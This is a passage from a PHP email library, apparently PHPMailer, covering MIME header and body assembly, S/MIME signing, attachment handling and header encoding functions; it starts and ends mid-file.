                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
